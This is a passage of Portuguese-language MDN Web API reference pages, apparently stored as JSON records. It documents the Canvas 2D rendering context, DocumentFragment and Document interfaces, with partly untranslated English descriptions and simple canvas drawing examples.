(en-US)\n* `SVGColorProfileRule`\n* `SVGCSSRule`\n* `SVGExternalResourcesRequired`\n* `SVGFitToViewBox`\n* `SVGLangSpace`\n* `SVGLocatable`\n* `SVGRenderingIntent` (en-US)\n* `SVGStylable` (en-US)\n* `SVGTests`\n* `SVGTextContentElement` (en-US)\n* `SVGTextPositioningElement` (en-US)\n* `SVGTransformable`\n* `SVGUnitTypes` (en-US)\n* `SVGURIReference` (en-US)\n* `SVGViewSpec`\n* `SVGZoomAndPan`\nVeja também\n-----------\n\n* DOM Exemplos (en-US)"}
{"title":"Canvas: Contexto de Renderização em \"2D\" - APIs da Web","text":"Canvas: Contexto de Renderização em \"2D\"\n========================================\n\nA interface **Canvas Renderização de Contexto de duas Dimensões (** **CanvasRenderingContext2D**) é usada para desenhar retangulos, textos, imagens e outros objetos na tag ou elemento canvas. Fornece o contexto de renderização em 2D para a superfície de desenho do elemento `<canvas>`.\nPara obter um objeto desta interface, chama-se `getContext()` em um `elemento <canvas>`, adicionando \"2d\" como argumento, veja o exemplo abaixo:\n\n\n```js\nvar canvas = document.getElementById(\"meuCanvas\"); // em seu HTML esse elemento se parece com <canvas id=\"meuCanvas\"></canvas>\nvar ctx = canvas.getContext(\"2d\");\n```\n\n\nAgora que você possui o contexto de renderização 2D, você pode desenhar dentro deste canvas. Por exemplo:\n\n\n```js\nctx.fillStyle = \"rgb(200,0,0)\"; // define a cor de preenchimento do retângulo\nctx.fillRect(10, 10, 55, 50); // desenha o retângulo na posição 10, 10 com 55 pixels de largura e uma altura de 50\n```\n\n\nVeja as propriedades e métodos no menu lateral e abaixo. O tutorial canvas tem mais informações, exemplos e recursos.\n\nDesenhando Retângulos\n---------------------\n\nExistem três métodos que imediatamente desenham retângulos ao canvas.\n\n`CanvasRenderingContext2D.clearRect()`\n\nDetermina todos os pixels no retângulo definido, pelo ponto inicial (*x, y*) e tamanho (*largura*, *altura*) para preto transparente, apagando qualquer conteúdo desenhado anteriormente.\n\n`CanvasRenderingContext2D.fillRect()`\n\nDesenha um retângulo preenchido na posição (*x, y*) com tamanho definido pela *largura* e *altura*\n\n`CanvasRenderingContext2D.strokeRect()`\n\nPinta um retângulo o qual possui um ponto inicial em *(x, y)* e possui um *w* *width*(largura) e um *h* *height*(altura) dentro da tela(canvas), usando o estilo de traçado(stroke) atual.\n\nDesenhando Textos\n-----------------\n\nOs métodos seguintes são fornecidos para desenhar texto. Veja também o objeto `TextMetrics` (en-US) para propriedades de texto.\n\n`CanvasRenderingContext2D.fillText()` (en-US)\n\nDesenha(preenche) um texto fornecido, em uma posição fornecida(*x,y*).\n\n`CanvasRenderingContext2D.strokeText()` (en-US)\n\nDesenha(traçados) um texto fornecido, em uma posição fornecida(*x,y*).\n\n`CanvasRenderingContext2D.measureText()` (en-US)\n\nRetorna um objeto `TextMetrics` (en-US) .\n\nEstilos de linha\n----------------\n\nOs seguintes métodos e propriedades, controlam como as linhas são desenhadas.\n\n`CanvasRenderingContext2D.lineWidth` (en-US)\n\nLargura das linhas. Padrão: `1.0`\n\n`CanvasRenderingContext2D.lineCap` (en-US)\n\nTipos de pontas no final das linhas. Valores possíveis: `butt` (padrão), `round`, `square`.\n\n`CanvasRenderingContext2D.lineJoin` (en-US)\n\nDefine o tipo de encontro entre duas linhas. Possíveis valores: `round`, `bevel`, `miter` (default).\n\n`CanvasRenderingContext2D.miterLimit` (en-US)\n\nRelação do limite de esquadria. Padrão: `10`.\n\n`CanvasRenderingContext2D.getLineDash()` (en-US)\n\nRetorna a matriz de padrão de traço de linha atual contendo um número par de números não negativos.\n\n`CanvasRenderingContext2D.setLineDash()` (en-US)\n\nDefine o padrão de traço de linha atual.\n\n`CanvasRenderingContext2D.lineDashOffset` (en-US)\n\nEspecifica onde iniciar uma matriz de traços em uma linha.\n\nEstilos de textos\n-----------------\n\nAs propriedades abaixo controlam a estilização do texto a ser apresentado:\n\n`CanvasRenderingContext2D.font` (en-US)\n\nConfiguração da fonte. Valor padrão: `10px sans-serif`.\n\n`CanvasRenderingContext2D.textAlign` (en-US)\n\nAlinhamento do texto. Possíveis valores: `start` (padrão), `end`, `left`, `right` or `center`.\n\n`CanvasRenderingContext2D.textBaseline` (en-US)\n\nConfiguração de alinhamento da linha de base (Baseline). Possíveis valores: `top`, `hanging`, `middle`, `alphabetic` (padrão), `ideographic`, `bottom`.\n\n`CanvasRenderingContext2D.direction` (en-US)\n\nDireção do texto. Possívels valores: `ltr, rtl`, `inherit` (padrão).\n\nEstilos de preenchimento e traço\n--------------------------------\n\nO estilo de preenchimento é usado para cores e estilos dentro das formas e o estilo de traço é usado para as linhas ao redor das formas.\n\n`CanvasRenderingContext2D.fillStyle`\n\nCor ou estilo para usar formas internas. Padrão `#000` (preto).\n\n`CanvasRenderingContext2D.strokeStyle` (en-US)\n\nCor ou estilo a ser usado para as linhas em torno das formas. Padrão: `#000` (preto).\n\nGradientes e padrões\n--------------------\n\n`CanvasRenderingContext2D.createLinearGradient()` (en-US)\n\nCria um gradiente linear ao longo da linha fornecida pelas coordenadas representadas pelos parâmetros.\n\n`CanvasRenderingContext2D.createRadialGradient()` (en-US)\n\nCria um gradiente radial dado pelas coordenadas dos dois círculos representados pelos parâmetros.\n\n`CanvasRenderingContext2D.createPattern()` (en-US)\n\nCria um padrão usando a imagem especificada (uma `CanvasImageSource` (en-US)). Ele repete a fonte nas direções especificadas pelo argumento de repetição. Este método retorna um `CanvasPattern` (en-US).\n\nSombras\n-------\n\n`CanvasRenderingContext2D.shadowBlur` (en-US).\n\nEspecifica o efeito de desfoque. Padrão: `0`.\n\n`CanvasRenderingContext2D.shadowColor` (en-US)\n\nCor da sombra. Padrão: fully-transparent black (preto totalmente transparente).\n\n`CanvasRenderingContext2D.shadowOffsetX` (en-US)\n\nDistância horizontal em que a sombra será deslocada. Padrão: `0`.\n\n`CanvasRenderingContext2D.shadowOffsetY` (en-US)\n\nDistância vertical em que a sombra será deslocada. Padrão: `0`.\n\nCaminhos\n--------\n\nOs seguintes métodos podem ser usados para manipular caminhos de desenhos.\n\n`CanvasRenderingContext2D.beginPath()`\n\nInicia um novo caminho esvaziando a lista de subcaminhos. Chame esse método quando você quiser criar um novo caminho.\n\n`CanvasRenderingContext2D.closePath()`\n\nFaz com que a ponta da caneta se mova de volta para o início do subcaminho atual. Ele tenta traçar uma linha reta do ponto atual ao início. Se o desenho já foi fechado ou tem apenas um ponto, este método não faz nada.\n\n`CanvasRenderingContext2D.moveTo()`\n\nMove o ponto inicial de um novo subcaminho para as coordenadas (x, y).\n\n`CanvasRenderingContext2D.lineTo()`\n\nConecta o último ponto do caminho atual com as coordenadas (x, y) com linha reta.\n\n`CanvasRenderingContext2D.bezierCurveTo()` (en-US)\n\nAdiciona uma curva de Bézier ao caminho atual.\n\n`CanvasRenderingContext2D.quadraticCurveTo()`\n\nAdiciona uma curva de Bézier quadrática ao caminho atual.\n\n`CanvasRenderingContext2D.arc()`\n\nAdiciona um arco circular ao caminho atual.\n\n`CanvasRenderingContext2D.arcTo()`\n\nAdiciona um arco no caminho atual com os pontos de controle e raio fornecidos, conectado ao ponto anterior por uma linha reta.\n\n`CanvasRenderingContext2D.ellipse()` (en-US)\n\nAdiciona um arco elíptico ao caminho atual.\n\n`CanvasRenderingContext2D.rect()`\n\nCria um caminho de retângulo na posição (x, y) com o tamanho determinado por *width* e *height*.\n\nDrawing paths\n-------------\n\n`CanvasRenderingContext2D.fill()`\n\nFills the subpaths with the current fill style.\n\n`CanvasRenderingContext2D.stroke()`\n\nStrokes the subpaths with the current stroke style.\n\n`CanvasRenderingContext2D.drawFocusIfNeeded()` (en-US)\n\nIf a given element is focused, this method draws a focus ring around the current path.\n\n`CanvasRenderingContext2D.scrollPathIntoView()` (en-US)\n\nScrolls the current path or a given path into the view.\n\n`CanvasRenderingContext2D.clip()`\n\nCreates a clipping path from the current sub-paths. Everything drawn after `clip()` is called appears inside the clipping path only. For an example, see Clipping paths in the Canvas tutorial.\n\n`CanvasRenderingContext2D.isPointInPath()` (en-US)\n\nReports whether or not the specified point is contained in the current path.\n\n`CanvasRenderingContext2D.isPointInStroke()` (en-US)\n\nReports whether or not the specified point is inside the area contained by the stroking of a path.\n\nTransformações\n--------------\n\nObjects in the `CanvasRenderingContext2D` rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and `Path2D` objects. The methods listed below remain for historical and compatibility reasons as `SVGMatrix` (en-US) objects are used in most parts of the API nowadays and will be used in the future instead.\n\n`CanvasRenderingContext2D.rotate()` (en-US)\n\nAdds a rotation to the transformation matrix. The angle argument represents a clockwise rotation angle and is expressed in radians.\n\n`CanvasRenderingContext2D.scale()` (en-US)\n\nAdds a scaling transformation to the canvas units by x horizontally and by y vertically.\n\n`CanvasRenderingContext2D.translate()` (en-US)\n\nAdds a translation transformation by moving the canvas and its origin x horzontally and y vertically on the grid.\n\n`CanvasRenderingContext2D.transform()` (en-US)\n\nMultiplies the current transformation matrix with the matrix described by its arguments.\n\n`CanvasRenderingContext2D.setTransform()` (en-US)\n\nResets the current transform to the identity matrix, and then invokes the `transform()` method with the same arguments.\n\n`CanvasRenderingContext2D.resetTransform()` (en-US) \nExperimental\n\nResets the current transform by the identity matrix.\n\nCompositing\n-----------\n\n`CanvasRenderingContext2D.globalAlpha` (en-US)\n\nAlpha value that is applied to shapes and images before they are composited onto the canvas. Default `1.0` (opaque).\n\n`CanvasRenderingContext2D.globalCompositeOperation`\n\nWith `globalAlpha` applied this sets how shapes and images are drawn onto the existing bitmap.\n\nDesenhando imagens\n------------------\n\n`CanvasRenderingContext2D.drawImage()` (en-US)\n\nDraws the specified image. This method is available in multiple formats, providing a great deal of flexibility in its use.\n\nManipulação de pixels\n---------------------\n\nSee also the `ImageData` (en-US) object.\n\n`CanvasRenderingContext2D.createImageData()` (en-US)\n\nCreates a new, blank `ImageData` (en-US) object with the specified dimensions. All of the pixels in the new object are transparent black.\n\n`CanvasRenderingContext2D.getImageData()` (en-US)\n\nReturns an `ImageData` (en-US) object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at *(sx, sy)* and has an *sw* width and *sh* height.\n\n`CanvasRenderingContext2D.putImageData()` (en-US)\n\nPaints data from the given `ImageData` (en-US) object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted.\n\nImage smoothing\n---------------\n\n`CanvasRenderingContext2D.imageSmoothingEnabled` (en-US) \nExperimental\n\nImage smoothing mode; if disabled, images will not be smoothed if scaled.\n\nThe canvas state\n----------------\n\nThe `CanvasRenderingContext2D` rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state:\n\n`CanvasRenderingContext2D.save()` (en-US)\n\nSaves the current drawing style state using a stack so you can revert any change you make to it using `restore()`.\n\n`CanvasRenderingContext2D.restore()` (en-US)\n\nRestores the drawing style state to the last element on the 'state stack' saved by `save()`.\n\n`CanvasRenderingContext2D.canvas` (en-US)\n\nA read-only back-reference to the `HTMLCanvasElement` (en-US). Might be `null` if it is not associated with a `<canvas>` element.\n\nHit regions\n-----------\n\n`CanvasRenderingContext2D.addHitRegion()` \nExperimental\n\nAdds a hit region to the canvas.\n\n`CanvasRenderingContext2D.removeHitRegion()` \nExperimental\n\nRemoves the hit region with the specified `id` from the canvas.\n\n`CanvasRenderingContext2D.clearHitRegions()` \nExperimental\n\nRemoves all hit regions from the canvas.\n\nNon-standard APIs\n-----------------\n\n### Blink and WebKit\n\nMost of these APIs are deprecated and will be removed in the future.\n\nNon-standard `CanvasRenderingContext2D.clearShadow()`\n\nRemoves all shadow settings like `CanvasRenderingContext2D.shadowColor` (en-US) and `CanvasRenderingContext2D.shadowBlur` (en-US).\n\nNon-standard `CanvasRenderingContext2D.drawImageFromRect()`\n\nThis is redundant with an equivalent overload of `drawImage`.\n\nNon-standard `CanvasRenderingContext2D.setAlpha()`\n\nUse `CanvasRenderingContext2D.globalAlpha` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setCompositeOperation()`\n\nUse `CanvasRenderingContext2D.globalCompositeOperation` instead.\n\nNon-standard `CanvasRenderingContext2D.setLineWidth()`\n\nUse `CanvasRenderingContext2D.lineWidth` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setLineJoin()`\n\nUse `CanvasRenderingContext2D.lineJoin` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setLineCap()`\n\nUse `CanvasRenderingContext2D.lineCap` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setMiterLimit()`\n\nUse `CanvasRenderingContext2D.miterLimit` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setStrokeColor()`\n\nUse `CanvasRenderingContext2D.strokeStyle` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.setFillColor()`\n\nUse `CanvasRenderingContext2D.fillStyle` instead.\n\nNon-standard `CanvasRenderingContext2D.setShadow()`\n\nUse `CanvasRenderingContext2D.shadowColor` (en-US) and `CanvasRenderingContext2D.shadowBlur` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.webkitLineDash`\n\nUse `CanvasRenderingContext2D.getLineDash()` (en-US) and `CanvasRenderingContext2D.setLineDash()` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.webkitLineDashOffset`\n\nUse `CanvasRenderingContext2D.lineDashOffset` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.webkitImageSmoothingEnabled`\n\nUse `CanvasRenderingContext2D.imageSmoothingEnabled` (en-US) instead.\n\n### Blink only\n\nNon-standard `CanvasRenderingContext2D.getContextAttributes()`\n\nInspired by the same `WebGLRenderingContext` method it returns an `Canvas2DContextAttributes` object that contains the attributes \"storage\" to indicate which storage is used (\"persistent\" by default) and the attribute \"alpha\" (`true` by default) to indicate that transparency is used in the canvas.\n\nNon-standard `CanvasRenderingContext2D.isContextLost()`\n\nInspired by the same `WebGLRenderingContext` method it returns `true` if the Canvas context has been lost, or `false` if not.\n\n### WebKit only\n\nNon-standard `CanvasRenderingContext2D.webkitBackingStorePixelRatio`\n\nThe backing store size in relation to the canvas element. See High DPI Canvas.\n\nNon-standard `CanvasRenderingContext2D.webkitGetImageDataHD`\n\nIntended for HD backing stores, but removed from canvas specifications.\n\nNon-standard `CanvasRenderingContext2D.webkitPutImageDataHD`\n\nIntended for HD backing stores, but removed from canvas specifications.\n\n### Gecko only\n\nNon-standard `CanvasRenderingContext2D.filter` (en-US)\n\nCSS and SVG filters as Canvas APIs. Likely to be standardized in a new version of the specification.\n\n#### Prefixed APIs\n\nNon-standard `CanvasRenderingContext2D.mozFillRule`\n\nThe fill rule to use. This must be one of `evenodd` or `nonzero` (default).\n\nNon-standard `CanvasRenderingContext2D.mozImageSmoothingEnabled`\n\nSee `CanvasRenderingContext2D.imageSmoothingEnabled` (en-US).\n\nNon-standard \nDeprecated\n `CanvasRenderingContext2D.mozDash`\n\nAn array which specifies the lengths of alternating dashes and gaps . Use `CanvasRenderingContext2D.getLineDash()` (en-US) and `CanvasRenderingContext2D.setLineDash()` (en-US) instead.\n\nNon-standard \nDeprecated\n `CanvasRenderingContext2D.mozDashOffset`\n\nSpecifies where to start a dash array on a line. Use `CanvasRenderingContext2D.lineDashOffset` (en-US) instead.\n\nNon-standard \nDeprecated\n `CanvasRenderingContext2D.mozTextStyle`\n\nIntroduced in in Gecko 1.9, deprecated in favor of the `CanvasRenderingContext2D.font` (en-US) property.\n\nNon-standard `CanvasRenderingContext2D.mozDrawText()`\n\nThis method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use `CanvasRenderingContext2D.strokeText()` (en-US) or `CanvasRenderingContext2D.fillText()` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.mozMeasureText()`\n\nThis method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use `CanvasRenderingContext2D.measureText()` (en-US) instead.\n\nNon-standard `CanvasRenderingContext2D.mozPathText()`\n\nThis method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.\n\nNon-standard `CanvasRenderingContext2D.mozTextAlongPath()`\n\nThis method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.\n\n#### Internal APIs (chrome-context only)\n\nNon-standard `CanvasRenderingContext2D.asyncDrawXULElement()`\n\nRenders a region of a XUL element into the `canvas`.\n\nNon-standard `CanvasRenderingContext2D.drawWindow()` (en-US)\n\nRenders a region of a window into the `canvas`. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.\n\nNon-standard `CanvasRenderingContext2D.demote()`\n\nThis causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # 2dcontext |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLCanvasElement` (en-US)"}
{"title":"DocumentFragment - APIs da Web","text":"DocumentFragment\n================\n\nA interface do **DocumentFragment** representa um objeto de documento mínimo que não possui pai. Ela é utilizada como uma versão leve de `Document` para armazenar fragmentos bem formados ou fragments potencialmente mal formados de XML.\n\nVários outros métodos podem usar um document fragment como argumento (ex. qualquer interface de `Node` como `Node.appendChild` e `Node.insertBefore`) em casos em que os filhos do fragment são acrescentados ou inseridos, e não o próprio fragment.\n\nEssa interface também é excelente para ser usada com Web components: elementos `<template>` contém um `DocumentFragment` na propriedade `HTMLTemplateElement.content` (en-US) deles.\n\nUm DocumentFragment pode ser criado usando o método `document.createDocumentFragment` (en-US) ou o construtor.\n\nPropriedades\n------------\n\n*Essa interface não tem uma propriedade específica, mas herda de seu pai,* *`Node`, e implementa aquelas da interface `ParentNode`.*\n\n`ParentNode.children` (en-US) Somente leitura \nExperimental\n\nReturns a live `HTMLCollection` containing all objects of type `Node` that are children of the `DocumentFragment` object.\n\n`ParentNode.firstElementChild` (en-US) Somente leitura \nExperimental\n\nReturns the `Element` that is the first child of the `DocumentFragment` object, or `null` if there is none.\n\n`ParentNode.lastElementChild` (en-US) Somente leitura \nExperimental\n\nReturns the `Element` that is the last child of the `DocumentFragment` object, or `null` if there is none.\n\n`ParentNode.childElementCount` Somente leitura \nExperimental\n\nReturns an `unsigned long` giving the amount of children that the `DocumentFragment` has.\n\nConstrutor\n----------\n\n`DocumentFragment()` (en-US) \nExperimental\n\nRetorna um objeto DocumentFragment vazio.\n\nMétodos\n-------\n\n*This interface inherits the methods of its parent, `Node`*, and implements those of the `ParentNode` interface.\n\n`DocumentFragment.find()` \nExperimental\n\nReturns the first matching `Element` in the tree of the `DocumentFragment`.\n\n`DocumentFragment.findAll()` \nExperimental\n\nReturns a `NodeList` of matching `Element` in the tree of the `DocumentFragment`.\n\n`DocumentFragment.querySelector()` (en-US)\n\nReturns the first `Element` node within the `DocumentFragment`, in document order, that matches the specified selectors.\n\n`DocumentFragment.querySelectorAll()` (en-US)\n\nReturns a `NodeList` of all the `Element` nodes within the `DocumentFragment` that match the specified selectors.\n\n`DocumentFragment.getElementById()` (en-US)\n\nReturns the first `Element` node within the `DocumentFragment`, in document order, that matches the specified ID.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-documentfragment |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The DOM interfaces index. (en-US)"}
{"title":"Document - APIs da Web","text":"Document\n========\n\nPara cada página carregada no browser, existe um objeto **`Document`**. A interface `Document` serve como um ponto de entrada para o conteúdo da Página ( a árvore DOM, incluindo elementos como `<body>` e `<table>`) e provê funcionalidades globais ao documento (como obter a URL da página e criar novos elementos no documento).\n\nEventTarget\n\nNode\n\nDocument\nUm objeto document pode ser obtido por meio de várias APIs:\n\n* A mais comum; você trabalha com o script do documento que está rodando o script com o objeto document. (O mesmo document também pode ser referenciado como `window.document`.)\n* O documento de um iframe através da propriedade `contentDocument.`\n* O `responseXML` de um objeto `XMLHttpRequest`.\n* O documento ao qual um determinado node ou elemento pertence pode ser recuperado usando a propriedade do node `ownerDocument` (en-US)\n\nDependendo do tipo do documento (e.g. HTML ou XML (en-US)), diferentes APIs estarão disponívels no objeto **`Document`**.\n\nTodo objeto **`Document`** implementa a interface `Document` (e consequentemente as interfaces `Node` e `EventTarget`). Portanto, as principais propriedades e métodos documentados nesta página estarão disponíveis para todos os tipos de documents.\n\n* Em navegadores mais atuais, alguns documentos (ex: aqueles que são servidos com o Content-Type `text/html`) também implementam a interface `HTMLDocument` (en-US).\n* Em navegadores mais atuais, documentos SVG implementam a interface `SVGDocument`.\n\nNo futuro, todas essas interfaces irão ser divididas na interface `Document`.\n\nPropriedades\n------------\n\n**Nota:** A interface `Document` também herda das interfaces `Node` e `EventTarget`.\n\n`Document.all` (en-US) \nDeprecated\n\nNon-standard\n\nDa acesso a todos os elementos do documento.È uma interface legada não padrão, voce deve usar o método `Document.getElementById()` como alternativa.\n\n`Document.async` \nDeprecated\n\nUsado como `document.load` que indica uma requisição asyncroma.\n\n`Document.characterSet` \nExperimental\n\nRetorna a codificação de caracteres que está sendo usado pelo documento.\n\n`Document.compatMode` \nExperimental\n\nindica se o documento é renderizado no modo Quirks ou Strict.\n\n`Document.contentType` \nExperimental\n\nRetorna o tipo de conteúdo do cabeçalho MIME do documento atual.\n\n`Document.doctype`\n\nRetorna o nome do tipo de conteudo do documento HTML.\n\n`Document.documentElement`\n\nReturns the Element that is a direct child of the document. For HTML documents, this is normally the HTML element.\n\n`Document.documentURI`\n\nReturns the document URL.\n\n`Document.domConfig` (en-US) \nDeprecated\n\nShould return a `DOMConfiguration` object.\n\n`Document.implementation`\n\nReturns the DOM implementation associated with the current document.\n\n`Document.inputEncoding` (en-US) \nDeprecated\n\nReturns the encoding used when the document was parsed.\n\n`Document.lastStyleSheetSet` (en-US)\n\nReturns the name of the style sheet set that was last enabled. Has the value `null` until the style sheet is changed by setting the value of `selectedStyleSheetSet` (en-US).\n\n`Document.mozSyntheticDocument` (en-US) \nNon-standard\n\n`true` if this document is synthetic, such as a standalone image, video, audio file, or the like.\n\n`Document.mozFullScreen` (en-US) \nNon-standard\n\n`true` when the document is in `full-screen mode`.\n\n`Document.mozFullScreenElement` (en-US) \nNon-standard\n\nThe element that's currently in full screen mode for this document.\n\n`Document.mozFullScreenEnabled` (en-US) \nNon-standard\n\n`true` if calling `element.mozRequestFullscreen()` (en-US) would succeed in the curent document.\n\n`Document.pointerLockElement` (en-US) \nExperimental\n\nReturns the element set as the target for mouse events while the pointer is locked. `null` if lock is pending, pointer is unlocked, or if the target is in another document.\n\n`Document.preferredStyleSheetSet` (en-US)\n\nReturns the preferred style sheet set as specified by the page author.\n\n`Document.selectedStyleSheetSet` (en-US)\n\nReturns which style sheet set is currently in use.\n\n`Document.styleSheets` (en-US)\n\nReturns a list of the style sheet objects on the current document.\n\n`Document.styleSheetSets` (en-US)\n\nReturns a list of the style sheet sets available on the document.\n\n`Document.xmlEncoding` (en-US) \nDeprecated\n\nReturns the encoding as determined by the XML declaration.\n\n`Document.xmlStandalone`\n\nReturns `true` if the XML declaration specifies the document to be standalone (*e.g.,* An external part of the DTD affects the document's content), else `false`.\n\n`Document.xmlVersion` (en-US)\n\nReturns the version number as specified in the XML declaration or `\"1.0\"` if the declaration is absent.\n\nThe `Document` interface is extended with the `ParentNode` interface:\n\n{{page(\"/pt-BR/docs/Web/API/ParentNode\",\"Properties\")}}### Extension for HTML documents\n\nThe `Document` interface for HTML documents inherit from the `HTMLDocument` (en-US) interface or, since HTML5, is extended for such documents:\n\n`Document.activeElement`\n\nReturns the currently focused element.\n\n`Document.alinkColor` \nDeprecated\n\nReturns or sets the color of active links in the document body.\n\n`Document.anchors`\n\nReturns a list of all of the anchors in the document.\n\n`Document.applets` (en-US) \nDeprecated\n\nReturns an ordered list of the applets within a document.\n\n`Document.bgColor` \nDeprecated\n\nGets/sets the background color of the current document.\n\n`Document.body`\n\nReturns the `<body>` element of the current document.\n\n`Document.cookie` (en-US)\n\nReturns a semicolon-separated list of the cookies for that document or sets a single cookie.\n\n`Document.defaultView`\n\nReturns a reference to the window object.\n\n`Document.designMode`\n\nGets/sets the ability to edit the whole document.\n\n`Document.dir` (en-US)\n\nGets/sets directionality (rtl/ltr) of the document.\n\n`Document.domain` (en-US)\n\nReturns the domain of the current document.\n\n`Document.embeds` (en-US)\n\nReturns a list of the embedded `<embed>` elements within the current document.\n\n`Document.fgColor` (en-US) \nDeprecated\n\nGets/sets the foreground color, or text color, of the current document.\n\n`Document.forms` (en-US)\n\nReturns a list of the `<form>` (en-US) elements within the current document.\n\n`Document.head`\n\nReturns the `<head>` element of the current document.\n\n`Document.height` \nNon-standard\n\nGets/sets the height of the current document.\n\n`Document.images`\n\nReturns a list of the images in the current document.\n\n`Document.lastModified` (en-US)\n\nReturns the date on which the document was last modified.\n\n`Document.linkColor` (en-US) \nDeprecated\n\nGets/sets the color of hyperlinks in the document.\n\n`Document.links` (en-US)\n\nReturns a list of all the hyperlinks in the document.\n\n`Document.location`\n\nReturns the URI of the current document.\n\n`Document.plugins` (en-US)\n\nReturns a list of the available plugins.\n\n`Document.readyState`\n\nReturns loading status of the document.\n\n`Document.referrer`\n\nReturns the URI of the page that linked to this page.\n\n`Document.scripts`\n\nReturns all the `<script>` elements on the document.\n\n`Document.title` (en-US)\n\nReturns the title of the current document.\n\n`Document.URL`\n\nReturns a string containing the URL of the current document.\n\n`Document.vlinkColor` (en-US) \nDeprecated\n\nGets/sets the color of visited hyperlinks.\n\n`Document.width` (en-US) \nNon-standard\n\nReturns the width of the current document.\n\n### Event handlers\n\n`Document.onpointerlockchange` \nExperimental\n\nReturns the event handling code for the `pointerlockchange (en-US)` event.\n\n`Document.onpointerlockerror` \nExperimental\n\nReturns the event handling code for the `pointerlockerror (en-US)` event.\n\n`Document.onreadystatechange`\n\nReturns the event handling code for the `readystatechange` event.\n\nMethods\n-------\n\n**Nota:** The `Document` interface also inherits from the `Node` and `EventTarget` interfaces.\n\n`Document.adoptNode(Node node)` (en-US)\n\nAdopt node from an external document.\n\n`Document.captureEvents(String eventName)` \nDeprecated\n\nSee `window.captureEvents` (en-US).\n\n`Document.caretPositionFromPoint(Number x, Number y)` (en-US)\n\nGets a `CaretPosition` (en-US) based on two coordinates.\n\n`Document.createAttribute(String name)` (en-US)\n\nCreates a new `Attr` object and returns it.\n\n`Document.createAttributeNS(String namespace, String name)` (en-US)\n\nCreates a new attribute node in a given namespace and returns it.\n\n`Document.createCDATASection(String data)` (en-US)\n\nCreates a new CDATA node and returns it.\n\n`Document.createComment(String comment)` (en-US)\n\nCreates a new comment node and returns it.\n\n`Document.createDocumentFragment()` (en-US)\n\nCreates a new document fragment.\n\n`Document.createElement(String name)`\n\nCreates a new element with the given tag name.\n\n`Document.createElementNS(String namespace, String name)`\n\nCreates a new element with the given tag name and namespace URI.\n\n`Document.createEntityReference(String name)` (en-US)\n\nCreates a new entity reference object and returns it.\n\n`Document.createEvent(String interface)` (en-US)\n\nCreates an event object.\n\n`Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])`\n\nCreates a `NodeIterator` (en-US) object.\n\n`Document.createProcessingInstruction(String target, String data)` (en-US)\n\nCreates a new `ProcessingInstruction` object.\n\n`Document.createRange()` (en-US)\n\nCreates a `Range` (en-US) object.\n\n`Document.createTextNode(String text)` (en-US)\n\nCreates a text node.\n\n`Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])` (en-US)\n\nCreates a `TreeWalker` (en-US) object.\n\n`Document.elementFromPoint(Number x, Number y)`\n\nReturns the element visible at the specified coordinates.\n\n`Document.enableStyleSheetsForSet(String name)` (en-US)\n\nEnables the style sheets for the specified style sheet set.\n\n`Document.exitPointerLock()` (en-US) \nExperimental\n\nRelease the pointer lock.\n\n`Document.getElementsByClassName(String className)`\n\nReturns a list of elements with the given class name.\n\n`Document.getElementsByTagName(String tagName)` (en-US)\n\nReturns a list of elements with the given tag name.\n\n`Document.getElementsByTagNameNS(String namespace, String tagName)` (en-US)\n\nReturns a list of elements with the given tag name and namespace.\n\n`Document.importNode(Node node, Boolean deep)`\n\nReturns a clone of a node from an external document.\n\n`document.mozSetImageElement` (en-US) \nNon-standard\n\nAllows you to change the element being used as the background image for a specified element ID.\n\n`Document.normalizeDocument()`\n\nReplaces entities, normalizes text nodes, etc.\n\n`Document.releaseCapture()` (en-US) \nNon-standard\n\nReleases the current mouse capture if it's on an element in this document.\n\n`Document.releaseEvents` \nNon-standard\n\nDeprecated\n\nSee `window.releaseEvents` (en-US).\n\n`document.routeEvent` \nNon-standard\n\nSee `window.routeEvent`.\n\nThe `Document` interface is extended with the `ParentNode` interface:\n\n`Document.getElementById(String id)`\n\nReturns an object reference to the identified element.\n\n`Document.querySelector(String selector)`\n\nReturns the first Element node within the document, in document order, that matches the specified selectors.\n\n`Document.querySelectorAll(String selector)`\n\nReturns a list of all the Element nodes within the document that match the specified selectors.\n\nThe `Document` interface is extended with the `XPathEvaluator` (en-US) interface:\n\n`Document.createExpression(String expression, XPathNSResolver resolver)` (en-US)\n\nCompiles an `XPathExpression` (en-US) which can then be used for (repeated) evaluations.\n\n`Document.createNSResolver(Node resolver)` (en-US)\n\nCreates an `XPathNSResolver` (en-US) object.\n\n`Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)` (en-US)\n\nEvaluates an XPath expression.\n\n### Extension for HTML documents\n\nThe `Document` interface for HTML documents inherit from the `HTMLDocument` (en-US) interface or, since HTML5, is extended for such documents:\n\n`Document.clear()` (en-US) \nNon-standard\n\nDeprecated\n\nIn majority of modern browsers, including recent versions of Firefox and Internet 